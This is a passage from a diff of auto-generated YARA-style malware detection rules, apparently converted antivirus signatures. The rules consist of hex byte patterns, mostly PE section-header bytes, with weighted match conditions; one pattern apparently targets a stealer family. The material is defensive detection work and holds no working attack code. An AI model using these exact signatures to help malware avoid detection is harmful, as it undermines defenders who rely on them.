1)*1+(#a_01_399 & 1)*1+(#a_01_400 & 1)*1+(#a_01_401 & 1)*1+(#a_01_402 & 1)*1+(#a_01_403 & 1)*1+(#a_01_404 & 1)*1+(#a_01_405 & 1)*1+(#a_01_406 & 1)*1+(#a_01_407 & 1)*1+(#a_01_408 & 1)*1+(#a_01_409 & 1)*1+(#a_01_410 & 1)*1+(#a_01_411 & 1)*1+(#a_01_412 & 1)*1+(#a_01_413 & 1)*1+(#a_01_414 & 1)*1+(#a_01_415 & 1)*1+(#a_01_416 & 1)*1+(#a_01_417 & 1)*1+(#a_01_418 & 1)*1+(#a_01_419 & 1)*1+(#a_01_420 & 1)*1+(#a_01_421 & 1)*1+(#a_01_422 & 1)*1+(#a_01_423 & 1)*1+(#a_01_424 & 1)*1+(#a_01_425 & 1)*1+(#a_01_426 & 1)*1+(#a_01_427 & 1)*1+(#a_01_428 & 1)*1+(#a_01_429 & 1)*1+(#a_01_430 & 1)*1+(#a_01_431 & 1)*1+(#a_01_432 & 1)*1+(#a_01_433 & 1)*1+(#a_01_434 & 1)*1+(#a_01_435 & 1)*1+(#a_01_436 & 1)*1+(#a_01_437 & 1)*1+(#a_01_438 & 1)*1+(#a_01_439 & 1)*1+(#a_01_440 & 1)*1+(#a_01_441 & 1)*1+(#a_01_442 & 1)*1+(#a_01_443 & 1)*1+(#a_01_444 & 1)*1+(#a_01_445 & 1)*1+(#a_01_446 & 1)*1+(#a_01_447 & 1)*1+(#a_01_448 & 1)*1+(#a_01_449 & 1)*1+(#a_01_450 & 1)*1+(#a_01_451 & 1)*1+(#a_01_452 & 1)*1+(#a_01_453 & 1)*1+(#a_01_454 & 1)*1+(#a_01_455 & 1)*1+(#a_01_456 & 1)*1+(#a_01_457 & 1)*1+(#a_01_458 & 1)*1+(#a_01_459 & 1)*1+(#a_01_460 & 1)*1+(#a_01_461 & 1)*1+(#a_01_462 & 1)*1+(#a_01_463 & 1)*1+(#a_01_464 & 1)*1+(#a_01_465 & 1)*1+(#a_01_466 & 1)*1+(#a_01_467 & 1)*1+(#a_01_468 & 1)*1+(#a_01_469 & 1)*1+(#a_01_470 & 1)*1+(#a_01_471 & 1)*1+(#a_01_472 & 1)*1+(#a_01_473 & 1)*1+(#a_01_474 & 1)*1+(#a_01_475 & 1)*1+(#a_01_476 & 1)*1+(#a_01_477 & 1)*1+(#a_01_478 & 1)*1+(#a_01_479 & 1)*1+(#a_01_480 & 1)*1+(#a_01_481 & 1)*1+(#a_01_482 & 1)*1+(#a_01_483 & 1)*1+(#a_01_484 & 1)*1+(#a_01_485 & 1)*1+(#a_01_486 & 1)*1+(#a_01_487 & 1)*1+(#a_01_488 & 1)*1+(#a_01_489 & 1)*1+(#a_01_490 & 1)*1+(#a_01_491 & 1)*1+(#a_01_492 & 1)*1+(#a_01_493 & 1)*1+(#a_01_494 & 1)*1+(#a_01_495 & 1)*1+(#a_01_496 & 1)*1+(#a_01_497 & 1)*1+(#a_01_498 & 1)*1+(#a_01_499 & 1)*1+(#a_01_500 & 1)*1+(#a_01_501 & 1)*1+(#a_01_502 & 1)*1+(#a_01_503 & 1)*1+(#a_01_504 & 1)*1+(#a_01_505 & 1)*1+(#a_01_506 & 1)*1+(#a_01_507 & 1)*1+(#a_01_508 & 1)*1+(#a_01_509 & 1)*1+(#a_01_510 & 1)*1+(#a_01_511 & 1)*1+(#a_01_512 & 1)*1+(#a_01_513 & 1)*1+(#a_01_514 & 1)*1+(#a_01_515 & 1)*1+(#a_01_516 & 1)*1+(#a_01_517 & 1)*1+(#a_01_518 & 1)*1+(#a_01_519 & 1)*1+(#a_01_520 & 1)*1+(#a_01_521 & 1)*1+(#a_01_522 & 1)*1+(#a_01_523 & 1)*1+(#a_01_524 & 1)*1+(#a_01_525 & 1)*1+(#a_01_526 & 1)*1+(#a_01_527 & 1)*1+(#a_01_528 & 1)*1+(#a_01_529 & 1)*1+(#a_01_530 & 1)*1+(#a_01_531 & 1)*1+(#a_01_532 & 1)*1+(#a_01_533 & 1)*1+(#a_01_534 & 1)*1+(#a_01_535 & 1)*1+(#a_01_536 & 1)*1+(#a_01_537 & 1)*1+(#a_01_538 & 1)*1+(#a_01_539 & 1)*1+(#a_01_540 & 1)*1+(#a_01_541 & 1)*1+(#a_01_542 & 1)*1+(#a_01_543 & 1)*1+(#a_01_544 & 1)*1+(#a_01_545 & 1)*1+(#a_01_546 & 1)*1+(#a_01_547 & 1)*1+(#a_01_548 & 1)*1+(#a_01_549 & 1)*1+(#a_01_550 & 1)*1+(#a_01_551 & 1)*1+(#a_01_552 & 1)*1+(#a_5f_553 & 1)*0+(#a_00_554 & 1)*8289+(#a_20_555 & 1)*30720+(#a_20_556 & 1)*8192+(#a_72_557 & 1)*29230) >=1 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_01_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_01_65 & 1)*1+(#a_01_66 & 1)*1+(#a_01_67 & 1)*1+(#a_01_68 & 1)*1+(#a_01_69 & 1)*1+(#a_01_70 & 1)*1+(#a_01_71 & 1)*1+(#a_01_72 & 1)*1+(#a_01_73 & 1)*1+(#a_01_74 & 1)*1+(#a_01_75 & 1)*1+(#a_01_76 & 1)*1+(#a_01_77 & 1)*1+(#a_01_78 & 1)*1+(#a_01_79 & 1)*1+(#a_01_80 & 1)*1+(#a_01_81 & 1)*1+(#a_01_82 & 1)*1+(#a_01_83 & 1)*1+(#a_01_84 & 1)*1+(#a_01_85 & 1)*1+(#a_01_86 & 1)*1+(#a_01_87 & 1)*1+(#a_01_88 & 1)*1+(#a_01_89 & 1)*1+(#a_01_90 & 1)*1+(#a_01_91 & 1)*1+(#a_01_92 & 1)*1+(#a_01_93 & 1)*1+(#a_01_94 & 1)*1+(#a_01_95 & 1)*1+(#a_01_96 & 1)*1+(#a_01_97 & 1)*1+(#a_01_98 & 1)*1+(#a_01_99 & 1)*1+(#a_01_100 & 1)*1+(#a_01_101 & 1)*1+(#a_01_102 & 1)*1+(#a_01_103 & 1)*1+(#a_01_104 & 1)*1+(#a_01_105 & 1)*1+(#a_01_106 & 1)*1+(#a_01_107 & 1)*1+(#a_01_108 & 1)*1+(#a_01_109 & 1)*1+(#a_01_110 & 1)*1+(#a_01_111 & 1)*1+(#a_01_112 & 1)*1+(#a_01_113 & 1)*1+(#a_01_114 & 1)*1+(#a_01_115 & 1)*1+(#a_01_116 & 1)*1+(#a_01_117 & 1)*1+(#a_01_118 & 1)*1+(#a_01_119 & 1)*1+(#a_01_120 & 1)*1+(#a_01_121 & 1)*1+(#a_01_122 & 1)*1+(#a_01_123 & 1)*1+(#a_01_124 & 1)*1+(#a_01_125 & 1)*1+(#a_01_126 & 1)*1+(#a_01_127 & 1)*1+(#a_01_128 & 1)*1+(#a_01_129 & 1)*1+(#a_01_130 & 1)*1+(#a_01_131 & 1)*1+(#a_01_132 & 1)*1+(#a_01_133 & 1)*1+(#a_01_134 & 1)*1+(#a_01_135 & 1)*1+(#a_01_136 & 1)*1+(#a_01_137 & 1)*1+(#a_01_138 & 1)*1+(#a_01_139 & 1)*1+(#a_01_140 & 1)*1+(#a_01_141 & 1)*1+(#a_01_142 & 1)*1+(#a_01_143 & 1)*1+(#a_01_144 & 1)*1+(#a_01_145 & 1)*1+(#a_01_146 & 1)*1+(#a_01_147 & 1)*1+(#a_01_148 & 1)*1+(#a_01_149 & 1)*1+(#a_01_150 & 1)*1+(#a_01_151 & 1)*1+(#a_01_152 & 1)*1+(#a_01_153 & 1)*1+(#a_01_154 & 1)*1+(#a_01_155 & 1)*1+(#a_01_156 & 1)*1+(#a_01_157 & 1)*1+(#a_01_158 & 1)*1+(#a_01_159 & 1)*1+(#a_01_160 & 1)*1+(#a_01_161 & 1)*1+(#a_01_162 & 1)*1+(#a_01_163 & 1)*1+(#a_01_164 & 1)*1+(#a_01_165 & 1)*1+(#a_01_166 & 1)*1+(#a_01_167 & 1)*1+(#a_01_168 & 1)*1+(#a_01_169 & 1)*1+(#a_01_170 & 1)*1+(#a_01_171 & 1)*1+(#a_01_172 & 1)*1+(#a_01_173 & 1)*1+(#a_01_174 & 1)*1+(#a_01_175 & 1)*1+(#a_01_176 & 1)*1+(#a_01_177 & 1)*1+(#a_01_178 & 1)*1+(#a_01_179 & 1)*1+(#a_01_180 & 1)*1+(#a_01_181 & 1)*1+(#a_01_182 & 1)*1+(#a_01_183 & 1)*1+(#a_01_184 & 1)*1+(#a_01_185 & 1)*1+(#a_01_186 & 1)*1+(#a_01_187 & 1)*1+(#a_01_188 & 1)*1+(#a_01_189 & 1)*1+(#a_01_190 & 1)*1+(#a_01_191 & 1)*1+(#a_01_192 & 1)*1+(#a_01_193 & 1)*1+(#a_01_194 & 1)*1+(#a_01_195 & 1)*1+(#a_01_196 & 1)*1+(#a_01_197 & 1)*1+(#a_01_198 & 1)*1+(#a_01_199 & 1)*1+(#a_01_200 & 1)*1+(#a_01_201 & 1)*1+(#a_01_202 & 1)*1+(#a_01_203 & 1)*1+(#a_01_204 & 1)*1+(#a_01_205 & 1)*1+(#a_01_206 & 1)*1+(#a_01_207 & 1)*1+(#a_01_208 & 1)*1+(#a_01_209 & 1)*1+(#a_01_210 & 1)*1+(#a_01_211 & 1)*1+(#a_01_212 & 1)*1+(#a_01_213 & 1)*1+(#a_01_214 & 1)*1+(#a_01_215 & 1)*1+(#a_01_216 & 1)*1+(#a_01_217 & 1)*1+(#a_01_218 & 1)*1+(#a_01_219 & 1)*1+(#a_01_220 & 1)*1+(#a_01_221 & 1)*1+(#a_01_222 & 1)*1+(#a_01_223 & 1)*1+(#a_01_224 & 1)*1+(#a_01_225 & 1)*1+(#a_01_226 & 1)*1+(#a_01_227 & 1)*1+(#a_01_228 & 1)*1+(#a_01_229 & 1)*1+(#a_01_230 & 1)*1+(#a_01_231 & 1)*1+(#a_01_232 & 1)*1+(#a_01_233 & 1)*1+(#a_01_234 & 1)*1+(#a_01_235 & 1)*1+(#a_01_236 & 1)*1+(#a_01_237 & 1)*1+(#a_01_238 & 1)*1+(#a_01_239 & 1)*1+(#a_01_240 & 1)*1+(#a_01_241 & 1)*1+(#a_01_242 & 1)*1+(#a_01_243 & 1)*1+(#a_01_244 & 1)*1+(#a_01_245 & 1)*1+(#a_01_246 & 1)*1+(#a_01_247 & 1)*1+(#a_01_248 & 1)*1+(#a_01_249 & 1)*1+(#a_01_250 & 1)*1+(#a_01_251 & 1)*1+(#a_01_252 & 1)*1+(#a_01_253 & 1)*1+(#a_01_254 & 1)*1+(#a_01_255 & 1)*1+(#a_01_256 & 1)*1+(#a_01_257 & 1)*1+(#a_01_258 & 1)*1+(#a_01_259 & 1)*1+(#a_01_260 & 1)*1+(#a_01_261 & 1)*1+(#a_01_262 & 1)*1+(#a_01_263 & 1)*1+(#a_01_264 & 1)*1+(#a_01_265 & 1)*1+(#a_01_266 & 1)*1+(#a_01_267 & 1)*1+(#a_01_268 & 1)*1+(#a_01_269 & 1)*1+(#a_01_270 & 1)*1+(#a_01_271 & 1)*1+(#a_01_272 & 1)*1+(#a_01_273 & 1)*1+(#a_01_274 & 1)*1+(#a_01_275 & 1)*1+(#a_01_276 & 1)*1+(#a_01_277 & 1)*1+(#a_01_278 & 1)*1+(#a_01_279 & 1)*1+(#a_01_280 & 1)*1+(#a_01_281 & 1)*1+(#a_01_282 & 1)*1+(#a_01_283 & 1)*1+(#a_01_284 & 1)*1+(#a_01_285 & 1)*1+(#a_01_286 & 1)*1+(#a_01_287 & 1)*1+(#a_01_288 & 1)*1+(#a_01_289 & 1)*1+(#a_01_290 & 1)*1+(#a_01_291 & 1)*1+(#a_01_292 & 1)*1+(#a_01_293 & 1)*1+(#a_01_294 & 1)*1+(#a_01_295 & 1)*1+(#a_01_296 & 1)*1+(#a_01_297 & 1)*1+(#a_01_298 & 1)*1+(#a_01_299 & 1)*1+(#a_01_300 & 1)*1+(#a_01_301 & 1)*1+(#a_01_302 & 1)*1+(#a_01_303 & 1)*1+(#a_01_304 & 1)*1+(#a_01_305 & 1)*1+(#a_01_306 & 1)*1+(#a_01_307 & 1)*1+(#a_01_308 & 1)*1+(#a_01_309 & 1)*1+(#a_01_310 & 1)*1+(#a_01_311 & 1)*1+(#a_01_312 & 1)*1+(#a_01_313 & 1)*1+(#a_01_314 & 1)*1+(#a_01_315 & 1)*1+(#a_01_316 & 1)*1+(#a_01_317 & 1)*1+(#a_01_318 & 1)*1+(#a_01_319 & 1)*1+(#a_01_320 & 1)*1+(#a_01_321 & 1)*1+(#a_01_322 & 1)*1+(#a_01_323 & 1)*1+(#a_01_324 & 1)*1+(#a_01_325 & 1)*1+(#a_01_326 & 1)*1+(#a_01_327 & 1)*1+(#a_01_328 & 1)*1+(#a_01_329 & 1)*1+(#a_01_330 & 1)*1+(#a_01_331 & 1)*1+(#a_01_332 & 1)*1+(#a_01_333 & 1)*1+(#a_01_334 & 1)*1+(#a_01_335 & 1)*1+(#a_01_336 & 1)*1+(#a_01_337 & 1)*1+(#a_01_338 & 1)*1+(#a_01_339 & 1)*1+(#a_01_340 & 1)*1+(#a_01_341 & 1)*1+(#a_01_342 & 1)*1+(#a_01_343 & 1)*1+(#a_01_344 & 1)*1+(#a_01_345 & 1)*1+(#a_01_346 & 1)*1+(#a_01_347 & 1)*1+(#a_01_348 & 1)*1+(#a_01_349 & 1)*1+(#a_01_350 & 1)*1+(#a_01_351 & 1)*1+(#a_01_352 & 1)*1+(#a_01_353 & 1)*1+(#a_01_354 & 1)*1+(#a_01_355 & 1)*1+(#a_01_356 & 1)*1+(#a_01_357 & 1)*1+(#a_01_358 & 1)*1+(#a_01_359 & 1)*1+(#a_01_360 & 1)*1+(#a_01_361 & 1)*1+(#a_01_362 & 1)*1+(#a_01_363 & 1)*1+(#a_01_364 & 1)*1+(#a_01_365 & 1)*1+(#a_01_366 & 1)*1+(#a_01_367 & 1)*1+(#a_01_368 & 1)*1+(#a_01_369 & 1)*1+(#a_01_370 & 1)*1+(#a_01_371 & 1)*1+(#a_01_372 & 1)*1+(#a_01_373 & 1)*1+(#a_01_374 & 1)*1+(#a_01_375 & 1)*1+(#a_01_376 & 1)*1+(#a_01_377 & 1)*1+(#a_01_378 & 1)*1+(#a_01_379 & 1)*1+(#a_01_380 & 1)*1+(#a_01_381 & 1)*1+(#a_01_382 & 1)*1+(#a_01_383 & 1)*1+(#a_01_384 & 1)*1+(#a_01_385 & 1)*1+(#a_01_386 & 1)*1+(#a_01_387 & 1)*1+(#a_01_388 & 1)*1+(#a_01_389 & 1)*1+(#a_01_390 & 1)*1+(#a_01_391 & 1)*1+(#a_01_392 & 1)*1+(#a_01_393 & 1)*1+(#a_01_394 & 1)*1+(#a_01_395 & 1)*1+(#a_01_396 & 1)*1+(#a_01_397 & 1)*1+(#a_01_398 & 1)*1+(#a_01_399 & 1)*1+(#a_01_400 & 1)*1+(#a_01_401 & 1)*1+(#a_01_402 & 1)*1+(#a_01_403 & 1)*1+(#a_01_404 & 1)*1+(#a_01_405 & 1)*1+(#a_01_406 & 1)*1+(#a_01_407 & 1)*1+(#a_01_408 & 1)*1+(#a_01_409 & 1)*1+(#a_01_410 & 1)*1+(#a_01_411 & 1)*1+(#a_01_412 & 1)*1+(#a_01_413 & 1)*1+(#a_01_414 & 1)*1+(#a_01_415 & 1)*1+(#a_01_416 & 1)*1+(#a_01_417 & 1)*1+(#a_01_418 & 1)*1+(#a_01_419 & 1)*1+(#a_01_420 & 1)*1+(#a_01_421 & 1)*1+(#a_01_422 & 1)*1+(#a_01_423 & 1)*1+(#a_01_424 & 1)*1+(#a_01_425 & 1)*1+(#a_01_426 & 1)*1+(#a_01_427 & 1)*1+(#a_01_428 & 1)*1+(#a_01_429 & 1)*1+(#a_01_430 & 1)*1+(#a_01_431 & 1)*1+(#a_01_432 & 1)*1+(#a_01_433 & 1)*1+(#a_01_434 & 1)*1+(#a_01_435 & 1)*1+(#a_01_436 & 1)*1+(#a_01_437 & 1)*1+(#a_01_438 & 1)*1+(#a_01_439 & 1)*1+(#a_01_440 & 1)*1+(#a_01_441 & 1)*1+(#a_01_442 & 1)*1+(#a_01_443 & 1)*1+(#a_01_444 & 1)*1+(#a_01_445 & 1)*1+(#a_01_446 & 1)*1+(#a_01_447 & 1)*1+(#a_01_448 & 1)*1+(#a_01_449 & 1)*1+(#a_01_450 & 1)*1+(#a_01_451 & 1)*1+(#a_01_452 & 1)*1+(#a_01_453 & 1)*1+(#a_01_454 & 1)*1+(#a_01_455 & 1)*1+(#a_01_456 & 1)*1+(#a_01_457 & 1)*1+(#a_01_458 & 1)*1+(#a_01_459 & 1)*1+(#a_01_460 & 1)*1+(#a_01_461 & 1)*1+(#a_01_462 & 1)*1+(#a_01_463 & 1)*1+(#a_01_464 & 1)*1+(#a_01_465 & 1)*1+(#a_01_466 & 1)*1+(#a_01_467 & 1)*1+(#a_01_468 & 1)*1+(#a_01_469 & 1)*1+(#a_01_470 & 1)*1+(#a_01_471 & 1)*1+(#a_01_472 & 1)*1+(#a_01_473 & 1)*1+(#a_01_474 & 1)*1+(#a_01_475 & 1)*1+(#a_01_476 & 1)*1+(#a_01_477 & 1)*1+(#a_01_478 & 1)*1+(#a_01_479 & 1)*1+(#a_01_480 & 1)*1+(#a_01_481 & 1)*1+(#a_01_482 & 1)*1+(#a_01_483 & 1)*1+(#a_01_484 & 1)*1+(#a_01_485 & 1)*1+(#a_01_486 & 1)*1+(#a_01_487 & 1)*1+(#a_01_488 & 1)*1+(#a_01_489 & 1)*1+(#a_01_490 & 1)*1+(#a_01_491 & 1)*1+(#a_01_492 & 1)*1+(#a_01_493 & 1)*1+(#a_01_494 & 1)*1+(#a_01_495 & 1)*1+(#a_01_496 & 1)*1+(#a_01_497 & 1)*1+(#a_01_498 & 1)*1+(#a_01_499 & 1)*1+(#a_01_500 & 1)*1+(#a_01_501 & 1)*1+(#a_01_502 & 1)*1+(#a_01_503 & 1)*1+(#a_01_504 & 1)*1+(#a_01_505 & 1)*1+(#a_01_506 & 1)*1+(#a_01_507 & 1)*1+(#a_01_508 & 1)*1+(#a_01_509 & 1)*1+(#a_01_510 & 1)*1+(#a_01_511 & 1)*1+(#a_01_512 & 1)*1+(#a_01_513 & 1)*1+(#a_01_514 & 1)*1+(#a_01_515 & 1)*1+(#a_01_516 & 1)*1+(#a_01_517 & 1)*1+(#a_01_518 & 1)*1+(#a_01_519 & 1)*1+(#a_01_520 & 1)*1+(#a_01_521 & 1)*1+(#a_01_522 & 1)*1+(#a_01_523 & 1)*1+(#a_01_524 & 1)*1+(#a_01_525 & 1)*1+(#a_01_526 & 1)*1+(#a_01_527 & 1)*1+(#a_01_528 & 1)*1+(#a_01_529 & 1)*1+(#a_01_530 & 1)*1+(#a_01_531 & 1)*1+(#a_01_532 & 1)*1+(#a_01_533 & 1)*1+(#a_01_534 & 1)*1+(#a_01_535 & 1)*1+(#a_01_536 & 1)*1+(#a_01_537 & 1)*1+(#a_01_538 & 1)*1+(#a_01_539 & 1)*1+(#a_01_540 & 1)*1+(#a_01_541 & 1)*1+(#a_01_542 & 1)*1+(#a_01_543 & 1)*1+(#a_01_544 & 1)*1+(#a_01_545 & 1)*1+(#a_01_546 & 1)*1+(#a_01_547 & 1)*1+(#a_01_548 & 1)*1+(#a_01_549 & 1)*1+(#a_01_550 & 1)*1+(#a_01_551 & 1)*1+(#a_01_552 & 1)*1+(#a_e8_553 & 1)*0) >=1 } -rule _InfrastructureShared_20603{ +rule _InfrastructureShared_21832{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 2d 00 21 " + + strings : + $a_54_0 = {3a 53 74 65 61 6c 67 61 2e 44 53 4b 31 00 01 00 78 01 20 20 20 20 20 20 20 20 0d ba 04 00 00 10 00 00 00 b4 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 e1 1f 00 00 00 d0 04 00 00 10 00 00 00 b8 02 00 00 } //18467 + $a_20_4 = {20 20 20 20 20 50 bf 00 00 00 f0 04 00 00 1c 00 00 00 c8 02 00 00 00 00 00 00 00 00 00 00 00 00 } //16384 + $a_20_7 = {20 20 20 59 a9 04 00 00 10 00 00 00 a6 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 } //8224 + $a_20_8 = {20 20 20 20 20 20 e1 1f 00 00 00 c0 04 00 00 10 00 00 00 aa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 18 bf 00 00 00 e0 04 00 00 1c 00 00 00 ba 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 20 20 20 20 20 c9 c7 04 00 00 10 } //0 + $a_00_10 = {00 00 00 00 } //0 + $a_20_14 = {20 20 20 20 e1 1f 00 00 00 e0 04 00 00 10 00 00 00 c0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 } //8288 + $a_20_16 = {20 20 18 bc 00 00 00 00 05 00 00 1c 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 } //8224 + $a_00_17 = {78 } //-16384 x + $a_20_18 = {20 20 20 20 07 cc 04 00 00 10 00 00 00 b4 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //8193 + $a_20_20 = {20 20 e1 1f 00 00 00 e0 04 00 00 10 00 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 } //8224 + $a_20_21 = {20 20 20 20 20 58 bd 00 00 00 00 05 00 00 1c 00 00 00 c8 02 00 00 00 00 00 00 00 00 00 00 00 00 } //16384 + $a_20_24 = {20 20 20 32 dd 04 00 00 10 00 00 00 b8 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 } //8224 + $a_20_25 = {20 20 20 20 20 20 e1 1f 00 00 00 f0 04 00 00 10 00 00 00 bc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 e8 c0 00 00 00 10 05 00 00 1e 00 00 00 cc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 20 20 20 20 20 c0 90 04 00 00 10 } //0 + $a_00_27 = {00 00 00 00 } //0 + $a_20_31 = {20 20 20 20 06 1c 01 00 00 b0 04 00 00 78 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 } //8288 + $a_20_33 = {20 20 14 a9 03 00 00 d0 05 00 00 2a 01 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 } //8224 + $a_00_34 = {78 } //-16384 x + $a_20_35 = {20 20 20 20 25 ca 04 00 00 10 00 00 00 c0 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //8193 + $a_20_37 = {20 20 f1 1f 00 00 00 e0 04 00 00 12 00 00 00 c4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 } //8224 + $a_20_38 = {20 20 20 20 20 78 c1 00 00 00 00 05 00 00 1e 00 00 00 d6 02 00 00 00 00 00 00 00 00 00 00 00 00 } //16384 + $a_20_41 = {20 20 20 cb c8 04 00 00 10 00 00 00 b6 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 } //8224 + $a_20_42 = {20 20 20 20 20 20 e1 1f 00 00 00 e0 04 00 00 12 00 00 00 ba 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 68 be 00 00 00 00 05 00 00 1c 00 00 00 cc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 20 20 20 20 20 af ee 04 00 00 10 } //0 + $a_00_44 = {00 00 00 00 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_20_4 & 1)*16384+(#a_20_7 & 1)*8224+(#a_20_8 & 1)*0+(#a_00_10 & 1)*0+(#a_20_14 & 1)*8288+(#a_20_16 & 1)*8224+(#a_00_17 & 1)*-16384+(#a_20_18 & 1)*8193+(#a_20_20 & 1)*8224+(#a_20_21 & 1)*16384+(#a_20_24 & 1)*8224+(#a_20_25 & 1)*0+(#a_00_27 & 1)*0+(#a_20_31 & 1)*8288+(#a_20_33 & 1)*8224+(#a_00_34 & 1)*-16384+(#a_20_35 & 1)*8193+(#a_20_37 & 1)*8224+(#a_20_38 & 1)*16384+(#a_20_41 & 1)*8224+(#a_20_42 & 1)*0+(#a_00_44 & 1)*0) >=1 + +} +rule _InfrastructureShared_21833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 30 00 21 " @@ -268779,7 +284432,7 @@ rule _InfrastructureShared_20603{ ((#a_54_0 & 1)*18467+(#a_69_5 & 1)*-16384+(#a_00_6 & 1)*8224+(#a_63_7 & 1)*29554+(#a_63_9 & 1)*29554+(#a_63_11 & 1)*29554+(#a_63_13 & 1)*29554+(#a_63_15 & 1)*29554+(#a_63_17 & 1)*29554+(#a_63_19 & 1)*29554+(#a_63_21 & 1)*29554+(#a_63_23 & 1)*29554+(#a_63_25 & 1)*29554+(#a_63_27 & 1)*29554+(#a_63_29 & 1)*29554+(#a_63_31 & 1)*29554+(#a_63_33 & 1)*29554+(#a_63_35 & 1)*29554+(#a_63_37 & 1)*29554+(#a_63_39 & 1)*29554+(#a_63_41 & 1)*29554+(#a_63_43 & 1)*29554+(#a_63_45 & 1)*29554+(#a_63_47 & 1)*29554) >=1 } -rule _InfrastructureShared_20604{ +rule _InfrastructureShared_21834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 60 00 21 " @@ -268880,7 +284533,7 @@ rule _InfrastructureShared_20604{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*144+(#a_c0_3 & 1)*22535+(#a_47_4 & 1)*17218+(#a_5a_6 & 1)*13056+(#a_01_7 & 1)*-28621+(#a_90_8 & 1)*400+(#a_42_9 & 1)*16385+(#a_00_10 & 1)*2448+(#a_01_11 & 1)*-28621+(#a_90_12 & 1)*400+(#a_42_13 & 1)*16385+(#a_00_14 & 1)*2448+(#a_01_15 & 1)*-28621+(#a_90_16 & 1)*400+(#a_42_17 & 1)*16385+(#a_00_18 & 1)*2448+(#a_81_19 & 1)*400+(#a_06_20 & 1)*-28666+(#a_00_21 & 1)*-6144+(#a_2b_23 & 1)*-31905+(#a_24_24 & 1)*-29712+(#a_40_25 & 1)*3844+(#a_04_27 & 1)*17547+(#a_90_28 & 1)*400+(#a_42_29 & 1)*16385+(#a_81_30 & 1)*17987+(#a_8b_31 & 1)*9284+(#a_01_32 & 1)*-22526+(#a_33_33 & 1)*257+(#a_c3_34 & 1)*29953+(#a_07_35 & 1)*1+(#a_07_36 & 1)*1+(#a_07_37 & 1)*1+(#a_07_38 & 1)*1+(#a_07_39 & 1)*1+(#a_07_40 & 1)*1+(#a_07_41 & 1)*1+(#a_07_42 & 1)*1+(#a_07_43 & 1)*1+(#a_07_44 & 1)*1+(#a_07_45 & 1)*1+(#a_07_46 & 1)*1+(#a_07_47 & 1)*1+(#a_07_48 & 1)*1+(#a_07_49 & 1)*1+(#a_07_50 & 1)*1+(#a_07_51 & 1)*1+(#a_07_52 & 1)*1+(#a_07_53 & 1)*1+(#a_07_54 & 1)*1+(#a_07_55 & 1)*1+(#a_07_56 & 1)*1+(#a_07_57 & 1)*1+(#a_07_58 & 1)*1+(#a_07_59 & 1)*1+(#a_07_60 & 1)*1+(#a_07_61 & 1)*1+(#a_07_62 & 1)*1+(#a_07_63 & 1)*1+(#a_07_64 & 1)*1+(#a_07_65 & 1)*1+(#a_07_66 & 1)*1+(#a_07_67 & 1)*1+(#a_07_68 & 1)*1+(#a_07_69 & 1)*1+(#a_07_70 & 1)*1+(#a_07_71 & 1)*1+(#a_07_72 & 1)*1+(#a_07_73 & 1)*1+(#a_07_74 & 